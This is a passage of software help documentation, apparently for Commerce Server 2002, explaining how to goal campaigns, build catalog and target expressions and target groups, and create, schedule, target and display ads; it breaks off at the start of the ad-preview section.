
Workflow for Campaign Management

About Campaigns

Adding a Customer


Goaling a Campaign

You determine the number of ads to deliver and amount of time in which you want to deliver them using campaign goaling. You can goal at the campaign-level or the advertising item-level. When you create a new campaign goaled at the campaign-level, you order the total number of requests for the entire campaign. For example, you perform goaling at the campaign-level and your customer orders 25,000 ad requests. At the campaign item-level, one ad is set up to display 60 percent of the ad requests, and the other ad is to display 40 percent of the ad requests. If the customer changes the number of ad requests, for example, to 40,000, you do not need to manually change the number of times the ads are to display; they are still displayed at 60 percent and 40 percent. When you schedule at the advertising item-level, you set the request goals for each individual ad. For more information about campaign goaling, see Campaign Goaling.

In a campaign, weight applies to ads that are goaled at the campaign-level. For house ads, the weight is relative to all other house ads for all customers and all campaigns. For paid ads, the weight is relative to other paid ads in the same campaign.

You can goal the campaign by either clicks or requests. When you goal a campaign by clicks, the goals of the campaign are met when the user actually clicks on the ad. When you goal the campaign by requests, the goals of the campaign are met when the ad is displayed on the specified page group.

To goal the campaign

  1. In Campaigns, click Campaign Manager.
  2. In Campaign Manager, expand the customer for whom you want to schedule a campaign, select the campaign, and then click Open on the toolbar.
  3. In the Campaign Manager <Customer Name> <Campaign Name> (campaign) screen, in the Advertising/Campaign Goaling section, do the following:
    Use this To do this
    Set goals by Select the goaling level from the drop-down list. You can goal the campaign at the campaign-level or the advertising item-level.

    If you select Campaign, you can modify the Quantity ordered in the field below the Set goals by box. After ad campaign items have been added to the Campaign in the Campaign Manager module, you can edit the dynamic table at the bottom of the Advertising/Campaign Goaling section. You select the advertising item in the table, and then click Edit to modify the weight of each ad. The quantities for each of the ads are redistributed based on the weights you enter.

    If you select Advertising Items, the quantity ordered box disappears. Quantities for campaigns goaled at the advertising item-level are entered in the ad campaign item. After ad campaign items have been added to the campaign in the Campaign Manager module, you can edit the dynamic table at the bottom of the Advertising/Campaign Goaling section. You select the advertising item in the table, and then click Edit to modify the quantities of each ad.

    This box is not required for discounts and direct mail campaign items.

    Notes

    • You can change the type of goaling from campaign-level goaling to advertising item-level goaling, and from advertising item-level goaling to campaign-level goaling. For information about changing the type of goaling, see Changing Between Campaign Goaling and Advertising Item Goaling.
    Quantity ordered Type the number of requests ordered for this campaign.

    This box is available only if you chose Campaign in the Set goals by box.
    Scheduled by Select Request or Click from the drop-down list.

    Request indicates that the goals of the campaign will be met when the ad is displayed on the specified page group(s).

    Click indicates that the goals of the campaign will be met when the user clicks on the ad.
  4. To save the Campaign and return to the Campaign Manager screen, click Save and go back on the toolbar.

The campaign is saved. You can now create an ad campaign item for the campaign.

Changing Between Campaign Goaling and Advertising Item Goaling

Campaigns are scheduled using campaign goaling. You can schedule at the campaign-level or advertising item-level. In a campaign, weight applies to ads that are goaled at the campaign-level. For house ads the weight is relative to all other house ads for all customers and all campaigns. For paid ads, the weight is relative to other paid ads in the same campaign. After you schedule a campaign, you can change between campaign-level goaling and advertising item-level goaling, which determines how the weights for the ads will be calculated.

The following describes three scenarios for goaling paid ads. In the first scenario, the customer orders two ads goaled at the campaign-level. In the second scenario, the customer wants to add requests for the first of the two ads, and so switches to advertising item-level goaling. In the third scenario, the customer wants the first ad displayed at a three-to-one ratio over the second ad, and therefore switches back to campaign-level goaling.

Scenario 1: A customer orders two paid ads for their fall season sale to be run in even proportion for a total quantity ordered of 1000 requests. The quantity ordered for each ad is 500. The campaign is goaled at the campaign-level.

Scenario 2: The customer now wants 500 additional requests for the first ad. The campaign is changed to advertising item-level goaling, and 500 additional requests are added to the quantity ordered for the first ad for a total of 1000 requests. The second ad remains at 500 requests.

Scenario 3: The customer decides to redistribute the order so that the first ad is run at a weight of 3 to 1 against the second ad. The campaign is changed back to campaign-level goaling with a total quantity ordered of 1500. After the ad campaign item weights are changed to 3 and 1 (for the first and second ads, respectively), the new paid weights for the campaign are 1125 for the first ad and 375 for the second.

Caution

  • In the second scenario, if the customer decides to redistribute the order, and then also adds a third ad with a weight of 1, all of the ads must be reweighted. Because the ad has been changed from an ad-goaled campaign to a campaign-goaled campaign, the paid weight of all the ads must be changed, or the delivery of the ads will be skewed.

See Also

Workflow for Campaign Management

About Campaigns

Campaign Goaling

Adding a Campaign


Adding a Campaign Item

To schedule the delivery of content, you need to create a campaign item.There are three types of campaign items in Commerce Server: ads, discounts, and direct mail. In addition to these three campaign items, your site developer can add related-sell functionality to your site, such as intelligent cross-sell and up-sell items.

Notes

  • For information about adding intelligent cross-sell functionality to your site, see Running the Predictor Resource and Business Analysis Objects.
  • For information about adding other related-sell functionality to your site, contact your site developer to have it implemented.

For information about creating a campaign item, see the following:

  • Creating an Ad
  • Creating a Discount
  • Creating Direct Mail


Creating Campaign Expressions

You create campaign expressions to define the products or categories of products to which you want to apply a discount, and to specify the users to whom you want to target your ads and discounts. For example, you can apply a 30 percent discount on a pair of hiking boots to users whose favorite outdoor activity is mountain climbing. You use the Campaign Expressions module to define what categories, products, or product properties you want to deliver to users who meet your target criteria. You can build the following types of expressions:

  • Catalog expressions. Define which categories, products, or product properties you apply your ads or discounts to. For example, "if Book_Price is greater than $20.00, apply discount." After you create the catalog expression, you can target your ads and discounts to those products that match your campaign expressions criteria.
  • Target expressions. Target the campaign item based on profile properties. Commerce Server supports user profiles, and context profiles. To target users on your site, you use user profiles. For example, "if User is female, deliver ad for blue paint." You use context profiles to target information that represents the context of a request for content. For example, you can target content to a specific page group.
  • Target groups. Combine several target expressions together, which enable you to target your ad and discount campaigns to groups of users that match your target expressions criteria. You can also use target expressions to target page groups on your Web site. After you have defined your target expressions, you can combine several expressions together to create target groups. For example, the expressions "if User is female", and "if User has purchased paint before", can be combined to create the target group "Female paint users." You can then deliver an ad or discount for wallpaper to the "Female paint users" group.
You combine expressions by specifying the action to be taken when each expression evaluates to "True." Each action has two multipliers: a multiplier to apply if the expression is true, and a multiplier to apply if the expression is false. When the multiplier is applied, the expression is given a score, which affects whether the content is eligible for delivery. For more information about target groups, see Target Groups.

This section contains:

  • Creating a Catalog Expression
  • Creating a Target Expression
  • Creating a Target Group


Creating a Catalog Expression

You create catalog expressions to specify which categories or products you want to apply a discount to. You create an expression by selecting from a list of products, product properties, or categories in a catalog, operators, and if required, entering the value to be evaluated by the expression. For example, a catalog expression might be "Books with price greater than 20.00" or "Category is equal to Fiction". If the expression evaluates to "True," the discount is applied to the product or category.

In the Catalog Expressions screen, you build a catalog expression by selecting one of the following:

  • New from Product Picker. Select this option when you want to search for the catalog, product, product property, or category that is used in the expression criteria.
  • New Catalog Expression. Select this option to open the Expression Builder.

New from Product Picker

You use the Product Picker to find and select the product or category to which you want to target a discount campaign.

To open the Product Picker

To browse a catalog

To conduct a keyword search

To search by product properties

To open the Product Picker

  1. In Campaigns, click Campaign Expressions.
  2. In the Campaign Expression: Target Expressions screen, click View on the toolbar, and then select Catalog Expressions from the drop-down list.
  3. In the Campaign Expressions: Catalog Expressions screen, click Add on the toolbar, and then select New from Product Picker from the drop-down list.

To browse a catalog

  1. In the Product Picker dialog box, do the following:
    Use this | To do this
    Search method | Select Browse catalog.
    Catalog | Select the catalog you want to search from the drop-down list.
    Categories | Select the category you want to search.
  2. Click OK.
The selected category appears in the Catalog Expression box.

To conduct a keyword search

  1. In the Product Picker dialog box, do the following:
    Use this | To do this
    Search method | Select Keyword search.
    Catalog | Select the catalog you want to search from the drop-down list.
    Keywords | Type the word(s) you want to search on, and then click Find Now.
    Products | Select the product you want to target.
  2. Click OK.
The selected product appears in the Catalog Expression box.

To search by product properties

  1. In the Product Picker dialog box, do the following:
    Use this | To do this
    Search method | Select Search by properties.
    Catalog | Select the catalog you want to search from the drop-down list.
    Target based on the following conditions Click New.

    The first of three edit boxes in the Target based on the following conditions box is activated, so you can select or type the expression clauses.
    Target based on the following conditions:
    • First Box. Select the property group from the drop-down list, and then select the property you want to use to create the new catalog expression.
    • Second Box. Select the operator you want to use with this catalog expression from the drop-down list.
    • Third Box. Type the property or value to be evaluated by the catalog expression.

    Note

    • In campaign expressions, use a semi-colon (;) to separate multiple values. Do not use a comma, because the comma is not recognized as a separator. For example, a list of numbers would be input as 2,534; 3,485; 6,982. The escape character for a literal semi-colon is a backslash (\). For example, a value such as ABC;12 would be input as ABC\;12.

    For example, in a catalog of books, the expression Author (property) contains (operator) Penn (string), applies a discount to books only authored by Daniel Penn.

  2. Click Apply.

    The products matching the target criteria appear in the Products box.

    Note

    • In the Product Picker dialog box, Commerce Server truncates product names that are longer than 30 characters. If you have multiple products with the same starting 30 characters, they will appear as duplicates.
  3. Click OK.
  4. To save the expression and return to the Campaign Manager screen, click Save and go back on the toolbar.

The expression is added to the Campaign Expressions: Catalog Expressions screen in the Campaigns Expressions module. You can now use the expression to target a discount campaign to a group of users.

New Catalog Expression

In the Catalog Expressions screen, you use the Expression Builder to create catalog expressions.

To create a catalog expression

  1. In Campaigns, click Campaign Expressions, click View on the toolbar, and then select Catalog Expressions from the drop-down list.
  2. In the Campaign Expressions: Catalog Expressions screen, click Add on the toolbar, and then select New Catalog Expression.
  3. In the Catalog Expression dialog box, do the following:
    Use this | To do this
    Name | Type a name for the new catalog expression.
    Description Type a description for the new catalog expression, and then click New.

    The first of three edit boxes in the Target based on the following conditions box are activated. Select or type the expression clauses.
    Target based on the following conditions:
    • First Box. Select the option that pertains to this expression from the drop-down list. Values for this box are Product and Expressions (if any exist).
      • If you select Product, a list of the product properties appears. Select the property you want to use to create the new catalog expression.
      • If you select Expressions, a list of all current catalog expressions appears. Select the catalog expression you want to use to create the new catalog expression, and then click OK.
    • Second Box. Select the operator you want to use with this catalog expression from the drop-down list.
    • Third Box. Type the property or value to be evaluated by the catalog expression.

    Note

    • In campaign expressions, use a semi-colon (;) to separate multiple values. Do not use a comma, because the comma is not recognized as a separator. For example, a list of numbers would be input as 2,534; 3,485; 6,982. The escape character for a literal semi-colon is a backslash (\). For example, a value such as ABC;12 would be input as ABC\;12.

    For example, in a catalog of books, the expression Artist (product property) contains (operator) Penn (property), will apply a discount to books only authored by Daniel Penn.

  4. Click Apply.

    The new catalog expression is added to the Target based on the following conditions box.

    Note

    • To add additional conditions to the catalog expression you just created, repeat steps 2 through 4, and then select either And or Or from the drop-down list.
  5. To save the catalog expression and return to the Campaign Expressions screen, click Save.

The expression is added to the Campaign Expressions: Catalog Expressions screen. You can now use the expression to target a discount campaign to a group of users.

See Also

Creating a Discount


Creating a Target Expression

You create target expressions to specify the users to which you want to target ads and discounts. Target expressions can also target request context. For example, target expressions can target the Web site from which the user is visiting, the current page group, the time of day, or an HTTP cookie. Expressions are a combination of properties, operators, and values that yield a result upon evaluation. You create an expression by selecting from a list of pre-defined targets, operators, and if required, entering the value to be evaluated by the expression, such as a number. For example, a target expression might be "Account Class is equal to 10" or "Female User is True". You use the Expression Builder in the Target Expressions screen to build your target expressions.

You can build target expressions to target ads and discounts to specific languages and currencies. You use the Expression Builder to select the language to which you want to target your ad or discount.

To create a new target expression

To target a specific language

To create a new target expression

  1. In Campaigns, click Campaign Expressions.
  2. In the Campaign Expressions: Target Expressions screen, click View on the toolbar, and then select Target Expressions from the drop-down list.
  3. In the Campaign Expressions: Target Expressions screen, click Add on the toolbar.
  4. In the Target Expression dialog box, do the following:
    Use this | To do this
    Name | Type a name for the new target expression.
    Description Type a description for the new target expression, and then click New.

    The first of three edit boxes in the Target based on the following conditions box is activated, so you can select or type the expression clauses.
    Target based on the following conditions:
    • First box. Select the option that pertains to this expression from the drop-down list. Values for this box are User Object, Targeting Context, Evaluator Intrinsics, and Expressions (if any exist).

      Note

      • If an object or function is not listed, it is not valid in the context where you started the Expression Builder. For example, a different set of operators will appear if the target is based on an expression rather than on a user object.

      If you select User Object, a drop-down list containing user object property groups appears. Select the user object property group, and then select the user object type that you want to use in this expression.

      If you select Targeting Context, the Page Group property appears and any additional properties that have been created for the Targeting Context profile. Select the property that you want to use in this expression. For information about adding profile properties, see Adding Properties to a Profile Definition.

      If you select Evaluator Instrinsics, select the timeframe you want to use in this expression.

      If you select Expressions, the Choose an Expression dialog box appears. Select the expression from the list of expressions that you want to use, and then click OK.

      Expressions appear only if they were created before you opened the Target Expressions dialog box.

    • Second box. Select an operator type for the expression from the available types in the drop-down list.
    • Third box. Type the property or value to be evaluated by the expression.

    Note

    • In campaign expressions, if the value to be entered is multi-valued, such as a list, use a semi-colon (;) to separate multiple values. Do not use a comma, because the comma is not recognized as a separator. For example, a list of numbers would be input as 2,534; 3,485; 6,982. The escape character for a literal semi-colon is a backslash (\). For example, a value such as ABC;12 would be input as ABC\;12.

      For example, the expression State (product property) is equal to (operator) CA (string), will apply a discount to Customers that only live in the state of California.

  5. Click Apply.

    The new target expression is added to the Target based on the following conditions box.

    Note

    • To add additional conditions to the catalog expression you just created, repeat steps 3 through 5, and then select either And or Or from the drop-down list.
  6. To save the target expression and return to the Campaign Expressions: Target Expressions screen, click Save.

The expression is added to the Campaign Expressions: Target Expressions screen. You can now group several target expressions together to create a target group that you use to target your ads or discounts.

To target a specific language

  1. In Campaigns, click Campaign Expressions.
  2. In the Campaign Expressions: Target Expressions screen, click View on the toolbar, and then select Target Expressions from the drop-down list.
  3. In the Campaign Expressions: Target Expressions screen, click Add on the toolbar.
  4. In the Target Expression dialog box, do the following:
    Use this | To do this
    Name | Type a name for the new target expression.
    Description Type a description for the new target expression, and then click New.

    The first of three edit boxes in the Target based on the following conditions box is activated, so you can select or type the expression clauses.
    Target based on the following conditions:
    • First box. Select User Object, select General Information, and then scroll down and select Default Language.
    • Second box. Select equal to from the available operator types in the drop-down list.
    • Third box. Click the ellipse button […]. In the Choose a Site Term dialog box, select the language you want to target from the list of site terms, and then click OK.
  5. Click Apply.

    The new target expression is added to the Target based on the following conditions box.

    Note

    • To add additional conditions to the catalog expression you just created, repeat steps 3 through 5, and then select either And or Or from the drop-down list.
  6. To save the target expression and return to the Campaign Expressions: Target Expressions screen, click Save.

The expression is added to the Target Expressions box. You can now group several target expressions together to create a target group that you use to target your ads or discounts.

See Also

Creating an Ad

Creating a Target Group

Expression-based Targeting


Creating a Target Group

You use the Target Group module to bundle together several expressions in order to display an ad or discount to a group of users. You can specify whether certain users are required for or excluded from the group. For example, in a target group consisting of animal owners, you can specify that cat owners are included, but dog owners are excluded by applying actions to the target expressions. You define target groups to create business rules that determine to which groups of users you display your ads or discounts.

In a target group you combine expressions by specifying the action to be taken when each expression evaluates to "True." Each action has two multipliers: a multiplier to apply if the expression is true, and a multiplier to apply if the expression is false. When the multiplier is applied, the expression is given a score, which affects whether the content is eligible for delivery.

You can specify the following actions:

Action | Description
Target | The target action can be used in situations that have a limited population of the property available, but the user wants to buy many requests. If the expression evaluates to "True," the score is increased, as is the probability the content will be shown. If the expression evaluates to "False," the score is not changed. In both scenarios, the content is eligible for delivery.
Sponsor | The ad associated with the target group will be exclusively displayed on the site. If the expression evaluates to "True," the content is eligible for delivery and no other content is eligible unless it too has an expression with action = Sponsor. (Sponsor has only one multiplier.)
Require | The group of users in the target expression will be included in the target group. If the expression evaluates to "True," the content is eligible for delivery; if it is "False," the content is not eligible for delivery.
Exclude | The group of users in the target expression will be excluded from the target group. If the expression evaluates to "True," the content is not eligible for delivery; if it is "False," the content is eligible for delivery.

To create a new target group

  1. In Campaigns, click Target Group.
  2. In the Target Group screen, click Add on the toolbar.
  3. In the Target Group: New screen, do the following:
    Use this | To do this
    Target group name | Type a name for the new target group.
    Expression Select the expression to use to create the new target group from the drop-down list.

    If you want to create a new expression, click Create New Expression . For information about creating new target expressions, see Creating a Target Expression.
    Action Select the action for the new target group from the drop-down list.

    The available actions are:

    • Target
    • Sponsor
    • Require
    • Exclude

    Caution

    • The Require and Exclude actions prevent an ad from being displayed to users with the excluded property. Additionally, if a user does not have the required or excluded property defined, they will not receive the ad. For example, if you create a target group that excludes hotmail users, the target group will also exclude users that do not have an e-mail account defined. Therefore, all users that have e-mail accounts defined and do not have hotmail accounts will see the ad.
  4. Click Accept.
  5. To save the target group and return to the Target Group screen, click Save and go back on the toolbar.

The new target group is saved in the list of available target groups. You can now use the target group to target your ads or discounts.

See Also

Creating an Ad

Creating a Discount

Creating Campaign Expressions

Creating a Target Expression


Creating an Ad

The Content Selection Framework (CSF) processes the variables that you specify for an ad: campaign goaling, exposure limit, schedule, weight, page groups, and target groups. Each time a user visits your site, it determines whether the ad is to be displayed. For information about the CSF, see Content Selection Framework Concepts.

You create an ad to schedule delivery of your advertisements. An ad is a campaign item that typically has a delivery goal, date ranges, and target attributes. After you create the ad, you can schedule the ad, specify the Web pages where the ad is to appear, and target the ad at a specified group of users. You can also specify your ad display. For example, may want an ad that contains text and an image or you may want an ad that contains text only. After you specify the appearance of the ad, you can preview the ad display.

If you want to use ads in multiple languages, you must recreate each ad in the appropriate language.

This section contains:

  • Adding Ad Properties
  • Scheduling an Ad
  • Targeting an Ad to a Page Group
  • Targeting an Ad to a Group of Users
  • Specifying the Ad Display
  • Previewing an Ad
  • Copying an Ad


Adding Ad Properties

You use the Campaign Manager module to create an ad for a specific campaign. You select the type of ad, which can be either a paid ad or a house ad depending on the Need of Delivery (NOD) schedule. You can also set a limit on how many times you want to show a user a piece of content within a user session. To prevent two ads from competing companies in the same industry from appearing on the same page, you can select an industry for the ad.

To create an ad

To set up the ad display

To create an ad

  1. In Campaigns, click Campaign Manager.
  2. In the Campaign Manager screen, expand the customer for whom you want to create a new ad. Select the campaign for which you want to create a new ad, click Add on the toolbar, and then select New Ad from the drop-down list.
  3. In the Campaign Manager <Customer> <Campaign> New (ad) screen, in the Ad Properties screen, do the following:
    Use this | To do this
    Ad name Type the name for the ad.

    To help distinguish between house ads and paid ads, use a distinct naming convention for the two types of ads. For example, Business Books_HA for a house ad and Business Software_PA for a paid ad.

    Note

    • When creating ads in multiple languages, note that the Ad name has a size limitation of 50 characters.
    Status Select the ad campaign status from the drop-down list.

    The status can be either Active or Inactive.
    Deleted This is a non-editable box.

    This box specifies if the ad has been deleted. For information about deleting and restoring campaign items, see Deleting and Restoring a Campaign Item.
    Type Select the type of ad you want.

    The type can be either Paid Ad or House Ad. For information about changing between paid ads and house ads, see Changing Between Paid Ads and House Ads.
    Request or Click/Weight If your campaign is goaled at the campaign-level, select Weight for either the House Ad or Paid Ad type.

    If your campaign is goaled at the advertising item-level by requests, do the following:

    • If you selected Paid Ad as the ad type, type the number of ad request goals for the ad.
    • If you selected House Ad as the ad type, type the value for the weight of the house ad. House ads have a default weight of 1.

    If your campaign is goaled at the advertising item-level by clicks, do the following:

    • If you selected Paid Ad as the ad type, type the number of ad click goals for the ad.
    • If you selected House Ad as the ad type, type the value for the weight of the house ad. House ads have a default weight of 1.
    Exposure limit Select the number of times the ad can be shown to a user within a session from the drop-down list.

    The maximum number of times the ad can be shown to a user is ten times within one session.
    Date received This box contains the current date as the default. Type or select the date the ad will be received from the drop-down calendar.

    After the ad is saved, the date cannot be changed.

    Industry | Select the industry for the ad.
    Comments | Type any necessary comments pertaining to this ad.

Note

  • Before you can save the ad, you must set up the ad display.

To set up the ad display

  1. In the Ad Display section, do the following:
    Use this | To do this
    Size | Select the content size of the ad from the drop-down list.
    Type | Select the ad type from the drop-down list.

    Note

    • Different boxes appear below the Content Type box depending on the type of ad you select. You must enter the required information in the Ad Display section before you can save the ad. For more information about setting up your ad campaign display for a specific type of ad, see Setting Up an Ad Type.
  2. To save the ad and return to the Campaign Manager screen, click Save and go back on the toolbar.

The new ad appears in the Campaign Manager tree under the specified customer and campaign.

Important

  • Any changes made to your ad must be published into production before they will appear on the Web site. For information about publishing changes to your Web site, see Publishing Campaign Changes on Your Web Site.

Changing between Paid Ads and House Ads

Paid ads are pieces of content to be delivered based on a Need of Delivery (NOD) schedule, while house ads are pieces of content that are served when paid ads are ahead of the NOD schedule specified for them.

You might want to change an ad from a paid ad to a house ad, and possibly vice versa. For example, you have a customer who wants more ad deliveries than they can pay for, so you guarantee that you will serve a subset of the ads. However, they want to receive a discount for the ads that you do not guarantee to deliver. In order to accomplish this, at the end of the guaranteed period, you change the paid ad to a house ad. The ad requests for the house ad are automatically rescheduled to zero. If you want to change the ad back to a paid ad, you must adjust the schedule manually by re-entering the number of ad requests you want.

See Also

Adding a Campaign

Adding Industry Codes

Specifying Content Sizes

Specifying the Ad Display

Scheduling an Ad

Targeting an Ad to a Page Group

Targeting an Ad to a Group of Users


Scheduling an Ad

After you have created a new ad, you can select the start and end dates for running the ad. While the ad is running, you can change the end date, for example, you can add or subtract a day. The Need of Delivery (NOD) is then recalculated based on the remaining quantity and remaining time in the schedule.

To schedule an ad

  1. In Campaigns, click Campaign Manager.
  2. In the Campaign Manager screen, expand the customer, expand the campaign for which the ad was created, select the ad you want to schedule, and then click Open on the toolbar.
  3. In the Campaign Manager <Customer> <Campaign> <Ad Campaign Item>(ad ID: <number>) screen, in the Ad Schedule section, do the following:
    Use this | To do this
    Start date | Type or select from the drop-down calendar the date the ad is to start.
    End date | Type or select from the drop-down calendar the date the ad is to end.
    Days | Check each day of the week that you want the ad to run.
    Start time | Type or select from the drop-down list the time of day the ad is to start based on the server time.
    End time | Type or select from the drop-down list the time of day the ad is to end based on the server time.

    Notes

    • If you set the start time after the end time, the ad will start at the later time and run to the end time. For example, if the start time is set at 11:00, and the end time is set at 9:00, the ad will run for 22 hours.
    • If you set the start and end times as the same time, the ad will display over the entire 24 hours.
  4. To save the ad and return to the Campaign Manager screen, click Save and go back on the toolbar.

The schedule is saved with the ad.

Important

  • Any changes made to your ad must be published into production before they will appear on the Web site. For information about publishing changes to your Web site, see Publishing Campaign Changes on Your Web Site.

See Also

Goaling a Campaign

Creating an Ad


Targeting an Ad to a Page Group

You can specify that an ad will appear on all pages of the site or that it will appear only on assigned page groups. Page groups allow you to specify on what Web pages an ad will appear. For example, if your Web site is an online newspaper, you may want to assign an ad for golf clubs to only run on pages in the Sports page.

You can display ads on all of your page groups, or you can select from available page groups that have been created in the Page Groups section in the Reference Tables module.

Note

  • Before you can target an ad to a page group, your site developer must add the necessary code to enable the ad to display on the page. For information about enabling ads to display on a page, see the Ad Sitelet sample in the Commerce Server 2002 Software Development Kit.

To target an ad to a page group

  1. In Campaigns, click Campaign Manager.
  2. In the Campaign Manager screen, expand the customer, expand the campaign for which the ad was created, select the ad for which you want to create a new page group, and then click Open on the toolbar.
  3. In the Campaign Manager <Customer> <Campaign> <Ad Campaign Item>(ad ID: <number>) screen, in the Ad Target section, do the following:
    Use this | To do this
    Show on all Page Groups Select this check box to display the ad on all page groups of the Web site.

    To assign the ad campaign to a specific page group, clear the check box, and follow the remaining steps in this procedure.
    Page groups: Available | Select the page group(s) you want to assign.
    Target groups: Available Select the target group(s) you want to assign.

    For information about target groups, see Target Groups and Creating a Target Group.
  4. Click Add.

    The selected page is moved to the Assigned box.

  5. To save the ad and return to the Campaign Manager screen, click Save and go back on the toolbar.

The ad will now appear on the selected page groups.

Important

  • Any changes made to your ad must be published into production before they will appear on the Web site. For information about publishing changes to your Web site, see Publishing Campaign Changes on Your Web Site.

See Also

Creating an Ad

Adding Page Groups


Targeting an Ad to a Group of Users

Target groups are expressions associated with an action used to target an ad to a specific group of users. You can have multiple expressions and actions in one target group. You can create target groups to include specified users in a group, or exclude specified users from a group. You select the group of users you want to target from an existing list of groups, which you create using the Target Group module. For information about creating target groups, see Creating a Target Group.

To target an ad to a group of users

  1. In Campaigns, click Campaign Manager.
  2. In the Campaign Manager screen, expand the customer, expand the campaign for which the ad was created, select the ad for which you want to assign a new target group, and then click Open on the toolbar.
  3. In the Campaign Manager <Customer> <Campaign> <Ad Campaign Item>(ad ID: <number>) screen, in the Ad Target section, do the following:
    Use this To do this
    Target groups: Available Select the target group you want to assign.

    For information about target groups, see Target Groups, and Creating a Target Group.
  4. Click Add.

    The target group is moved to the Assigned box.

  5. To save the ad and return to the Campaign Manager screen, click Save and go back on the toolbar.

The ad will now be targeted to the selected target group.

Important

  • Any changes made to your ad must be published into production before they will appear on the Web site. For information about publishing changes to your Web site, see Publishing Campaign Changes on Your Web Site.

See Also

Creating an Ad

Creating a Target Expression

Creating a Target Group


Specifying the Ad Display

You can specify how and in what form an ad appears to the user. For example, you can display a large ad on your home page to promote user awareness. You perform two main steps to display an ad. These steps are:

  • Sizing an Ad
  • Setting Up an Ad Type

Sizing an Ad

Commerce Server 2002 includes a set of standard content sizes that you can apply to your ads. In addition, you can specify your own custom content sizes. Whether you want to apply a standard size or a custom size, use the following procedure to apply the size to an ad.

Note

  • To specify custom content sizes, use the Reference Tables module. For information, see Specifying Content Sizes.

To size an ad

  1. In Campaigns, click Campaign Manager.
  2. In the Campaign Manager screen, expand the customer, expand the campaign for which the ad was created, select the ad you want to size, and then click Open on the toolbar.
  3. In the Campaign Manager <Customer> <Campaign> <Ad Campaign Item>(ad ID: <number>) screen, in the Ad Display section, in the Size box, select the ad size from the drop-down list.

You have specified the content size for the ad. You can now set up the ad type.

Setting Up an Ad Type

You may require a specific type of ad for your ad campaign. For example, you may want an ad that contains an image or you may want an ad that contains text only.

To set up an ad type

  1. In Campaigns, click Campaign Manager.
  2. In the Campaign Manager screen, expand the customer, expand the campaign for which the ad was created, select the ad for which you want to set up an ad type, and then click Open on the toolbar.
  3. In the Campaign Manager <Customer> <Campaign> <Ad Campaign Item>(ad ID: <number>) screen, in the Ad Display section, in the Type box, select the type of ad you want from the drop-down list.

    Note

    • Different boxes appear below the Type box depending on the type of ad you select. For more information about setting up your ad campaign display for a specific type of ad, see the remaining procedures in this section.

    You can set up the following types of ads:

    Image Ad

    Text Ad

    HTML Ad

    Non-Clickable Image Ad

    Buy Now Ad

    Windows Media Services Ad

    Directional Vignette Ad

  4. To save the ad and return to the Campaign Manager screen, click Save and go back on the toolbar.

The ad is saved with the campaign.

Important

  • Any changes made to your discount must be published into production before they will appear on the Web site. For information about publishing changes to your Web site, see Publishing Campaign Changes on Your Web Site.

Image Ad

You link an ad image to the designated Web page(s) on which the ad is scheduled to appear. Users see the image when they visit the Web pages where the ad is displayed.

To set up an image ad

  • In the Ad Display section, do the following:
    Use this | To do this
    Size | Select the size of the ad you want.
    Type | Select Image.
    Image URL Type the URL for the image that you want displayed in the ad.

    Note

    You must type an absolute URL, for example, http://www.microsoft.com.

    Click URL Type the URL to which the displayed ad links.

    Note

    You must type an absolute URL, for example, http://www.microsoft.com.
    Alternate text | Type the alternate text that users see when graphics are not enabled on their computer.

The ad is set up as an image ad.

Text Ad

A text ad is composed of text only. Users see the text when they visit the Web pages where the ad is displayed.

To set up a text ad

  • In the Ad Display section, do the following:
    Use this | To do this
    Size | Select the size of the ad you want.
    Type | Select Text.
    Text | Type the text that is to be displayed with the ad.
    Click URL Type the URL to which the displayed ad links.

    Note

    You must type an absolute URL, for example, http://www.microsoft.com.

The ad is set up as a text ad.

HTML Ad

An HTML ad is composed of HTML code. Users see the resulting text when they visit the Web pages where the ad is displayed.

To set up an HTML ad

  • In the Ad Display section, do the following:
    Use this | To do this
    Size | Select the size of the ad you want.
    Type | Select HTML.
    HTML Text | Type the HTML text (in HTML format) that is to be displayed in the ad.

The ad is set up as an HTML ad.

Non-Clickable Image Ad

A non-clickable image ad is a graphical image that users see when they visit the Web pages where the ad is scheduled to appear. The ad is not linked to a Web page.

To set up a non-clickable image ad

  • In the Ad Display section, do the following:
    Use this | To do this
    Size | Select the size of the ad you want.
    Type | Select Non-Clickable Image.
    Image URL Type the URL for the image that you want displayed in the ad.

    Note

    You must type an absolute URL, for example, http://www.microsoft.com.
    Alternate Text | Type the alternate text that users see when graphics are not enabled on their computer.

The ad is set up as a non-clickable image ad.

Buy Now Ad

Buy now ads enable users to purchase goods from any Web page on the Internet. When a user clicks a product image, a dialog box appears prompting the user for shipping address and credit card information.

To set up a buy now ad

  • In the Ad Display section, do the following:
    Use this | To do this
    Size | Select the size of the ad you want.
    Type | Select Buy Now.
    Image URL Type the URL for the image that is to be displayed in the ad.

    Note

    You must type an absolute URL, for example, http://www.microsoft.com.
    Click URL Type the URL to which the displayed ad links.

    Note

    You must type an absolute URL, for example, http://www.microsoft.com.
    Alternate Text | Type the alternate text that the user sees if graphics are not enabled on their computer.
    Window Width | Type the width of the ad in pixels.
    Window Height | Type the height of the ad in pixels.

The ad is set up as a buy now ad.

Windows Media Services Ad

A Windows Media Services ad displays high quality audio and video advertisements.

To set up a Windows Media Services ad

  • In the Ad Display section, do the following:
    Use this | To do this
    Size | Select the size of the ad you want.
    Type | Select Windows Media Services.
    Windows Media Services Advanced Streaming Format (ASF) | Type the Windows Media Services ASF for the ad.
    Click URL Type the URL to which the displayed ad links.

    Note

    You must type an absolute URL, for example, http://www.microsoft.com.

The ad is set up as a Windows Media Services ad.

Directional Vignette Ad

A vignette ad is composed of text that is displayed adjacent to the image where the ad is displayed.

To set up a directional vignette ad

  • In the Ad Display section, do the following:
    Use this | To do this
    Size | Select the size of the ad you want.
    Type Select Left, Right, or Top Vignette.

    Left - places the ad to the left of the text.

    Right - places the ad to the right of the text.

    Top - places the ad above the text.
    Image URL Type the URL for the image that is to be displayed in the ad.

    Note

    You must type an absolute URL, for example, http://www.microsoft.com.
    Text | Type the text that is to be displayed adjacent to the ad.
    Click URL Type the URL to which the displayed ad links.

    Note

    You must type an absolute URL, for example, http://www.microsoft.com.
    Alternate Text | Type the alternate text that users see if graphics are not enabled on their computer.

The ad is set up as a directional vignette ad.

See Also

Creating an Ad

Specifying Content Sizes

Previewing an Ad

Publishing Campaign Changes on Your Web Site


Previewing an Ad

After the ad display is defined, you can preview the ad before you publish it on your Web site. You can also preview the Web page that appears when the user clicks on the ad if the ad is clickable.

Note

